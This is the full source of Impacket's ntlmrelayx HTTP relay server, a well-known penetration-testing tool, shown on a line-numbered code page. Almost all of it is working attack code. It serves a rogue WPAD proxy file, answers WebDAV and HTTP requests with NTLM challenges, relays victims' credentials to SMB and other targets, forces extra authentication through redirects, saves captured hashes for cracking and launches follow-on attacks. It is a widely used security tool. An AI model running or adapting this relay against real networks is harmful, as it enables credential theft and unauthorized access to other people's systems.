Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# HTTP Relay Server 

8# 

9# Authors: 

10# Alberto Solino (@agsolino) 

11# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

12# 

13# Description: 

14# This is the HTTP server which relays the NTLMSSP messages to other protocols 

15 

16import http.server 

17import socketserver 

18import socket 

19import base64 

20import random 

21import struct 

22import string 

23from threading import Thread 

24from six import PY2, b 

25 

26from impacket import ntlm, LOG 

27from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile 

28from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS 

29from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 

30from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections 

31 

32class HTTPRelayServer(Thread): 

33 

34 class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): 

35 def __init__(self, server_address, RequestHandlerClass, config): 

36 self.config = config 

37 self.daemon_threads = True 

38 if self.config.ipv6: 

39 self.address_family = socket.AF_INET6 

40 # Tracks the number of times authentication was prompted for WPAD per client 

41 self.wpad_counters = {} 

42 socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass) 

43 

44 class HTTPHandler(http.server.SimpleHTTPRequestHandler): 

45 def __init__(self,request, client_address, server): 

46 self.server = server 

47 self.protocol_version = 'HTTP/1.1' 

48 self.challengeMessage = None 

49 self.target = None 

50 self.client = None 

51 self.machineAccount = None 

52 self.machineHashes = None 

53 self.domainIp = None 

54 self.authUser = None 

55 self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \ 

56 '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \ 

57 'return "PROXY %s:80; DIRECT";} ' 

58 if self.server.config.mode != 'REDIRECT': 

59 if self.server.config.target is None: 

60 # Reflection mode, defaults to SMB at the target, for now 

61 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) 

62 self.target = self.server.config.target.getTarget() 

63 if self.target is None: 

64 LOG.info("HTTPD: Received connection from %s, but there are no more targets left!" % client_address[0]) 

65 return 

66 LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) 

67 try: 

68 http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) 

69 except Exception as e: 

70 LOG.debug("Exception:", exc_info=True) 

71 LOG.error(str(e)) 

72 

73 def handle_one_request(self): 

74 try: 

75 http.server.SimpleHTTPRequestHandler.handle_one_request(self) 

76 except KeyboardInterrupt: 

77 raise 

78 except Exception as e: 

79 LOG.debug("Exception:", exc_info=True) 

80 LOG.error('Exception in HTTP request handler: %s' % e) 

81 

82 def log_message(self, format, *args): 

83 return 

84 

85 def send_error(self, code, message=None): 

86 if message.find('RPC_OUT') >=0 or message.find('RPC_IN'): 

87 return self.do_GET() 

88 return http.server.SimpleHTTPRequestHandler.send_error(self,code,message) 

89 

90 def serve_wpad(self): 

91 wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host) 

92 self.send_response(200) 

93 self.send_header('Content-type', 'application/x-ns-proxy-autoconfig') 

94 self.send_header('Content-Length',len(wpadResponse)) 

95 self.end_headers() 

96 self.wfile.write(b(wpadResponse)) 

97 return 

98 

99 def should_serve_wpad(self, client): 

100 # If the client was already prompted for authentication, see how many times this happened 

101 try: 

102 num = self.server.wpad_counters[client] 

103 except KeyError: 

104 num = 0 

105 self.server.wpad_counters[client] = num + 1 

106 # Serve WPAD if we passed the authentication offer threshold 

107 if num >= self.server.config.wpad_auth_num: 

108 return True 

109 else: 

110 return False 

111 

112 def serve_image(self): 

113 with open(self.server.config.serve_image, 'rb') as imgFile: 

114 imgFile_data = imgFile.read() 

115 self.send_response(200, "OK") 

116 self.send_header('Content-type', 'image/jpeg') 

117 self.send_header('Content-Length', str(len(imgFile_data))) 

118 self.end_headers() 

119 self.wfile.write(imgFile_data) 

120 

121 def do_HEAD(self): 

122 self.send_response(200) 

123 self.send_header('Content-type', 'text/html') 

124 self.end_headers() 

125 

126 def do_OPTIONS(self): 

127 self.send_response(200) 

128 self.send_header('Allow', 

129 'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY') 

130 self.send_header('Content-Length', '0') 

131 self.send_header('Connection', 'close') 

132 self.end_headers() 

133 return 

134 

135 def do_PROPFIND(self): 

136 proxy = False 

137 if (".jpg" in self.path) or (".JPG" in self.path): 

138 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>""" 

139 else: 

140 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>""" 

141 

142 messageType = 0 

143 if PY2: 

144 autorizationHeader = self.headers.getheader('Authorization') 

145 else: 

146 autorizationHeader = self.headers.get('Authorization') 

147 if autorizationHeader is None: 

148 self.do_AUTHHEAD(message=b'NTLM') 

149 pass 

150 else: 

151 typeX = autorizationHeader 

152 try: 

153 _, blob = typeX.split('NTLM') 

154 token = base64.b64decode(blob.strip()) 

155 except: 

156 self.do_AUTHHEAD() 

157 messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] 

158 

159 if messageType == 1: 

160 if not self.do_ntlm_negotiate(token, proxy=proxy): 

161 LOG.info("do negotiate failed, sending redirect") 

162 self.do_REDIRECT() 

163 elif messageType == 3: 

164 authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

165 authenticateMessage.fromString(token) 

166 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

167 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

168 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), 

169 authenticateMessage['user_name'].decode('utf-16le'))) 

170 else: 

171 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

172 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), 

173 authenticateMessage['user_name'].decode('ascii'))) 

174 self.do_ntlm_auth(token, authenticateMessage) 

175 self.do_attack() 

176 

177 

178 self.send_response(207, "Multi-Status") 

179 self.send_header('Content-Type', 'application/xml') 

180 self.send_header('Content-Length', str(len(content))) 

181 self.end_headers() 

182 self.wfile.write(content) 

183 return 

184 

185 def do_AUTHHEAD(self, message = b'', proxy=False): 

186 if proxy: 

187 self.send_response(407) 

188 self.send_header('Proxy-Authenticate', message.decode('utf-8')) 

189 else: 

190 self.send_response(401) 

191 self.send_header('WWW-Authenticate', message.decode('utf-8')) 

192 self.send_header('Content-type', 'text/html') 

193 self.send_header('Content-Length','0') 

194 self.end_headers() 

195 

196 #Trickery to get the victim to sign more challenges 

197 def do_REDIRECT(self, proxy=False): 

198 rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) 

199 self.send_response(302) 

200 self.send_header('WWW-Authenticate', 'NTLM') 

201 self.send_header('Content-type', 'text/html') 

202 self.send_header('Connection','close') 

203 self.send_header('Location','/%s' % rstr) 

204 self.send_header('Content-Length','0') 

205 self.end_headers() 

206 

207 def do_SMBREDIRECT(self): 

208 self.send_response(302) 

209 self.send_header('Content-type', 'text/html') 

210 self.send_header('Location','file://%s' % self.server.config.redirecthost) 

211 self.send_header('Content-Length','0') 

212 self.send_header('Connection','close') 

213 self.end_headers() 

214 

215 def do_POST(self): 

216 return self.do_GET() 

217 

218 def do_CONNECT(self): 

219 return self.do_GET() 

220 

221 def do_GET(self): 

222 # Get the body of the request if any 

223 # Otherwise, successive requests will not be handled properly 

224 if PY2: 

225 contentLength = self.headers.getheader("Content-Length") 

226 else: 

227 contentLength = self.headers.get("Content-Length") 

228 if contentLength is not None: 

229 body = self.rfile.read(int(contentLength)) 

230 

231 messageType = 0 

232 if self.server.config.mode == 'REDIRECT': 

233 self.do_SMBREDIRECT() 

234 return 

235 

236 LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) 

237 

238 # Serve WPAD if: 

239 # - The client requests it 

240 # - A WPAD host was provided in the command line options 

241 # - The client has not exceeded the wpad_auth_num threshold yet 

242 if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]): 

243 LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) 

244 self.serve_wpad() 

245 return 

246 

247 # Determine if the user is connecting to our server directly or attempts to use it as a proxy 

248 if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): 

249 proxy = True 

250 else: 

251 proxy = False 

252 

253 if PY2: 

254 proxyAuthHeader = self.headers.getheader('Proxy-Authorization') 

255 autorizationHeader = self.headers.getheader('Authorization') 

256 else: 

257 proxyAuthHeader = self.headers.get('Proxy-Authorization') 

258 autorizationHeader = self.headers.get('Authorization') 

259 

260 if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None): 

261 self.do_AUTHHEAD(message = b'NTLM',proxy=proxy) 

262 pass 

263 else: 

264 if proxy: 

265 typeX = proxyAuthHeader 

266 else: 

267 typeX = autorizationHeader 

268 try: 

269 _, blob = typeX.split('NTLM') 

270 token = base64.b64decode(blob.strip()) 

271 except Exception: 

272 LOG.debug("Exception:", exc_info=True) 

273 self.do_AUTHHEAD(message = b'NTLM', proxy=proxy) 

274 else: 

275 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 

276 

277 if messageType == 1: 

278 if not self.do_ntlm_negotiate(token, proxy=proxy): 

279 #Connection failed 

280 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', 

281 self.target.scheme, self.target.netloc) 

282 self.server.config.target.logTarget(self.target) 

283 self.do_REDIRECT() 

284 elif messageType == 3: 

285 authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

286 authenticateMessage.fromString(token) 

287 

288 if not self.do_ntlm_auth(token,authenticateMessage): 

289 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

290 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( 

291 self.target.scheme, self.target.netloc, 

292 authenticateMessage['domain_name'].decode('utf-16le'), 

293 authenticateMessage['user_name'].decode('utf-16le'))) 

294 else: 

295 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( 

296 self.target.scheme, self.target.netloc, 

297 authenticateMessage['domain_name'].decode('ascii'), 

298 authenticateMessage['user_name'].decode('ascii'))) 

299 

300 # Only skip to next if the login actually failed, not if it was just anonymous login or a system account 

301 # which we don't want 

302 if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': 

303 self.server.config.target.logTarget(self.target) 

304 # No anonymous login, go to next host and avoid triggering a popup 

305 self.do_REDIRECT() 

306 else: 

307 #If it was an anonymous login, send 401 

308 self.do_AUTHHEAD(b'NTLM', proxy=proxy) 

309 else: 

310 # Relay worked, do whatever we want here... 

311 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

312 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

313 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), 

314 authenticateMessage['user_name'].decode('utf-16le'))) 

315 else: 

316 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

317 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), 

318 authenticateMessage['user_name'].decode('ascii'))) 

319 

320 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], 

321 authenticateMessage['user_name'], 

322 authenticateMessage['domain_name'], 

323 authenticateMessage['lanman'], authenticateMessage['ntlm']) 

324 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

325 

326 if self.server.config.outputFile is not None: 

327 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) 

328 

329 self.server.config.target.logTarget(self.target, True, self.authUser) 

330 

331 self.do_attack() 

332 

333 # Serve image and return 200 if --serve-image option has been set by user 

334 if (self.server.config.serve_image): 

335 self.serve_image() 

336 return 

337 

338 # And answer 404 not found 

339 self.send_response(404) 

340 self.send_header('WWW-Authenticate', 'NTLM') 

341 self.send_header('Content-type', 'text/html') 

342 self.send_header('Content-Length','0') 

343 self.send_header('Connection','close') 

344 self.end_headers() 

345 return 

346 

347 def do_ntlm_negotiate(self, token, proxy): 

348 if self.target.scheme.upper() in self.server.config.protocolClients: 

349 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target) 

350 # If connection failed, return 

351 if not self.client.initConnection(): 

352 return False 

353 self.challengeMessage = self.client.sendNegotiate(token) 

354 

355 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE 

356 if self.server.config.remove_target: 

357 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields']) 

358 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] 

359 self.challengeMessage['TargetInfoFields'] = av_pairs.getData() 

360 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData()) 

361 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData()) 

362 

363 # Check for errors 

364 if self.challengeMessage is False: 

365 return False 

366 else: 

367 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper()) 

368 return False 

369 

370 #Calculate auth 

371 self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy) 

372 return True 

373 

374 def do_ntlm_auth(self,token,authenticateMessage): 

375 #For some attacks it is important to know the authenticated username, so we store it 

376 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

377 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

378 authenticateMessage['user_name'].decode('utf-16le'))).upper() 

379 else: 

380 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'), 

381 authenticateMessage['user_name'].decode('ascii'))).upper() 

382 

383 if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1': 

384 clientResponse, errorCode = self.client.sendAuth(token) 

385 else: 

386 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except 

387 # when coming from localhost 

388 errorCode = STATUS_ACCESS_DENIED 

389 

390 if errorCode == STATUS_SUCCESS: 

391 return True 

392 

393 return False 

394 

395 def do_attack(self): 

396 # Check if SOCKS is enabled and if we support the target scheme 

397 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes: 

398 # Pass all the data to the socksplugins proxy 

399 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(), 

400 self.authUser, self.client, self.client.sessionData)) 

401 return 

402 

403 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks 

404 if self.target.scheme.upper() in self.server.config.attacks: 

405 # We have an attack.. go for it 

406 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session, 

407 self.authUser) 

408 clientThread.start() 

409 else: 

410 LOG.error('No attack configured for %s' % self.target.scheme.upper()) 

411 

412 def __init__(self, config): 

413 Thread.__init__(self) 

414 self.daemon = True 

415 self.config = config 

416 self.server = None 

417 

418 def run(self): 

419 LOG.info("Setting up HTTP Server") 

420 

421 if self.config.listeningPort: 

422 httpport = self.config.listeningPort 

423 else: 

424 httpport = 80 

425 

426 # changed to read from the interfaceIP set in the configuration 

427 self.server = self.HTTPServer((self.config.interfaceIp, httpport), self.HTTPHandler, self.config) 

428 

429 try: 

430 self.server.serve_forever() 

431 except KeyboardInterrupt: 

432 pass 

433 LOG.info('Shutting down HTTP Server') 

434 self.server.server_close()